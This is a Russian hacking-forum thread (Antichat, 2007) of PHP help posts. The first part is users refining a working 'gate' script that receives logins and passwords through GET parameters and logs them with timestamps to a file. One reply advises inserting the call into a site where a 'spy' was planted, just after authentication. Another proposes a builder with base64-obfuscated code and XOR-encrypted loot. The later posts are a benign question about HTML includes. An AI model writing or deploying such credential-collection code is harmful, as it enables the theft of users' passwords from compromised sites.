ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #961  
Старый 21.11.2007, 17:44
Аватар для spyke
spyke
Познающий
Регистрация: 04.08.2005
Сообщений: 62
Провел на форуме:
350685

Репутация: 46
По умолчанию

Скрипт рабочий, но допустим, мне нужно поставить дату и время перед каждой парой логин , пароль. Я сделал вот так:
PHP код:
<?PHP
$date 
date("m/d/y H:i:s");
if (isset(
$_GET["acc"]) && isset($_GET["pass"])) {
    
$line sprintf("$date [ %s , %s ]\n"$_GET["acc"], $_GET["pass"]);

    
$suff_data file("file.txt");

    foreach (
$suff_data as $account_data)
        if (
trim($line) == trim($account_data)) die("повтор");

    
$file_id fopen("file.txt""a+");
    if (!
$file_id) die("die");

    
fputs($file_id$line);

    
fclose($file_id);
}

?>
На выходе получаем это:

Код:
11/21/07 14:23:46 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:23:50 [ test , test ]
11/21/07 14:39:05 [ sdfsdf , sdfdsf ]
11/21/07 14:39:09 [ sdfsdf , sdfdsf ]
11/21/07 14:39:10 [ sdfsdf , sdfdsf ]
11/21/07 14:39:13 [ sdfsdf , sdfdsf ]
11/21/07 14:39:14 [ sdfsdf , sdfdsf ]
11/21/07 14:39:26 [ werwr , sdfsdsg ]
11/21/07 14:39:36 [ werwr , sdfsdsg ]
11/21/07 14:39:37 [ werwr , sdfsdsg ]
11/21/07 14:39:43 [ werwr , sdfsdsg ]
11/21/07 14:39:44 [ werwr , sdfsdsg ]
11/21/07 14:40:00 [ werwr , sdfsdsg ]
Скрипт смотрит строки, а мне нужно чтоб он смотрел в квадратные скобки каждой строчки) И еще, юзеры зачастую первый раз вводят пароль неправильно и посылают данные еще раз. Тоесть, автоматом надо отсеивать только повторяющиеся пары логин+пароль, а не просто логин.
Предлагаю мастерам написать гибкий скрипт универсального гейта) С гуи интерфейсом и всякими фичами. Хокер выбирает, какие переменные принимать, куда их сохранять, в каком формате, ставить ли дату и время, в каком опять же формате и где, включать ли защиту от повторов. Гуи должен в конце показать кусочек пхп кода file() , со всеми нужными переменными и адресом сервера.
Вроде, я такому еще аналогов не видел.

Да, кусочек кода может модифицироваться base64 по желанию, а инфа криптоваться XOR'ом.

Последний раз редактировалось spyke; 21.11.2007 в 17:54..
 
Ответить с цитированием

  #962  
Старый 21.11.2007, 17:58
Аватар для Ponchik
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

Пля! Ничо не понимал, дошло что это гейт
PHP код:
<?PHP 
$date 
date("m/d/y H:i:s"); 
if (isset(
$_GET["acc"]) && isset($_GET["pass"])) { 
    
$line sprintf("$date [ %s , %s ]\n"$_GET["acc"], $_GET["pass"]); 

    
$suff_data file_get_contents("file.txt"); 

    if (!
strpos($suff_data,"{$_GET['acc']} , {$_GET['pass']}")) {

       
$file_id fopen("file.txt""a+"); 
       if (!
$file_id) die("die"); 

       
fputs($file_id$line); 

       
fclose($file_id); 
   } 
//Иначе просто ничего не делать


?>
Если чё, стучи 202-995-022 буду тебя учить

Последний раз редактировалось Ponchik; 22.11.2007 в 12:02..
 
Ответить с цитированием

  #963  
Старый 21.11.2007, 18:33
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Ну чтобы писать с датой запроса, можно использовать такой скрипт:

PHP код:
<?php

if (isset($_GET["login"]) && isset($_GET["password"])) {
    
$line sprintf("%s:%s\n"$_GET["login"], $_GET["password"]);

    
$suff_data file("stuff.txt");

    foreach (
$suff_data as $account_data)
        if (
trim($line) == trim($account_data)) die("Повтор на первом игроке");

    
$file_id fopen("stuff.txt""a+");
    if (!
$file_id) die("Не могу открыть файлег!");

    
$extended_line sprintf("[%s] - %s"date("m/d/y H:i:s"), $line);
    
fputs($file_id$extended_line);

    
fclose($file_id);
}

?>
А чтобы писать только те пароли, которые были введены правильно - ты просто вставь на хосте, в которого ты засадил шпиона, строчку вызова вошки в то место, которое идёт после проверки аутентификации...
 
Ответить с цитированием

  #964  
Старый 21.11.2007, 18:37
Аватар для spyke
spyke
Познающий
Регистрация: 04.08.2005
Сообщений: 62
Провел на форуме:
350685

Репутация: 46
По умолчанию

Спасибо всем еще раз, проблема решена)
 
Ответить с цитированием

  #965  
Старый 22.11.2007, 08:53
Аватар для XopoIII
XopoIII
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме:
651930

Репутация: 65
По умолчанию

почему в браузере не высвечивается содержимое файлов(файлы не пустые...)

PHP код:
<HTML> 
<HEAD> 
<TITLE>Главная страница</TITLE> 
</HEAD> 
<table width=100% height=100% border=1>

<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>

<tr><td width=150>
<?php 
include "left.php";
?>
</td>

<td>
TEXT
</td>

<td width=150>
<?php 
include "golos.html";
?>
</td></tr>

<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>

Последний раз редактировалось XopoIII; 22.11.2007 в 10:15..
 
Ответить с цитированием

  #966  
Старый 22.11.2007, 08:54
Аватар для XopoIII
XopoIII
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме:
651930

Репутация: 65
По умолчанию

часть таблицы где инклуды тупо проподает
 
Ответить с цитированием

  #967  
Старый 22.11.2007, 11:49
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

В общем, код такого вида:

PHP код:
<?php

print("<HTML>");
print(
"<HEAD> ");
print(
"<TITLE>Главная страница</TITLE> ");
print(
"</HEAD> ");
print(
"<table width=100% height=100% border=1>");
print(
"<tr><td height=150 colspan=3>");
print(
"<center>Заголовок</center>");
print(
"</td></tr>");
print(
"<tr><td width=150>");

include 
"1.php";

print(
"</td>");
print(
"<td>");
print(
"TEXT");
print(
"</td>");
print(
"<td width=150>");

include 
"2.html";

print(
"</td></tr>");
print(
"<tr><td height=15 colspan=3>");
print(
"TEXT");
print(
"</td></tr>");
print(
"</table>");
print(
"</HTML>");
и такого:

PHP код:
<HTML> 
<HEAD> 
<TITLE>Главная страница</TITLE> 
</HEAD> 
<table width=100% height=100% border=1>

<tr><td height=150 colspan=3>
<center>Заголовок</center>
</td></tr>

<tr><td width=150>
<?php 
include "1.php";
?>
</td>

<td>
TEXT
</td>

<td width=150>
<?php 
include "2.html";
?>
</td></tr>

<tr><td height=15 colspan=3>
TEXT
</td></tr>
</table>
</HTML>
у меня отработал корректно и вывел то, что планировалось... Я думаю проблема в выводе, который формируют инклуды... Что-то он гробит... Ибо в таком варианте просто нечему работать...
 
Ответить с цитированием

  #968  
Старый 22.11.2007, 11:54
Аватар для XopoIII
XopoIII
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме:
651930

Репутация: 65
По умолчанию

спасибо сенсей, почему то недодумался чтобы в пхп это сделать+))
 
Ответить с цитированием

  #969  
Старый 22.11.2007, 12:01
Аватар для Ponchik
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

XopoIII, Не слушай этого злого дядю, он врёт
Если я конечно правильно понял... Тебе нужно содержимое файлов получать, делай не include "1.php"; а echo file_get_contents("1.php"); т.к. тебе не выполнить файл надо а прочитать и всё будет норм работать
PHP код:
<HTML>  
<HEAD>  
<TITLE>Главная страница</TITLE>  
</HEAD>  
<table width=100% height=100% border=1> 

<tr><td height=150 colspan=3> 
<center>Заголовок</center> 
</td></tr> 

<tr><td width=150> 
<?=file_get_contents('left.php');?>  
</td> 

<td> 
TEXT 
</td> 

<td width=150> 
<?=file_get_contents('golos.html');?> 
</td></tr> 

<tr><td height=15 colspan=3> 
TEXT 
</td></tr> 
</table> 
</HTML>

Последний раз редактировалось Ponchik; 22.11.2007 в 12:15..
 
Ответить с цитированием

  #970  
Старый 22.11.2007, 12:12
Аватар для XopoIII
XopoIII
Постоянный
Регистрация: 29.10.2007
Сообщений: 381
Провел на форуме:
651930

Репутация: 65
По умолчанию

Цитата:
Сообщение от Ponchik  
XopoIII, Не слушай этого злого дядю, он врёт
Если я конечно правильно понял... Тебе нужно содержимое файлов получать, делай не include "1.php"; а echo file_get_contents("1.php"); т.к. тебе не выполнить файл надо а прочитать и всё будет норм работать

получается тоже самое что и просто инклуд, а если делаю как граунд у меня кричит:
"); print(" "); print(" "); print(" "); print("
"); print("
"); print("
"); print("
"); print("
"); print("
"); print("

а если меняю расширение на пхп то все нормально, но браузер не видит его хз почему подскажите кто знает, он ищет у меня index.html а не .пхп =(

Последний раз редактировалось XopoIII; 22.11.2007 в 12:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ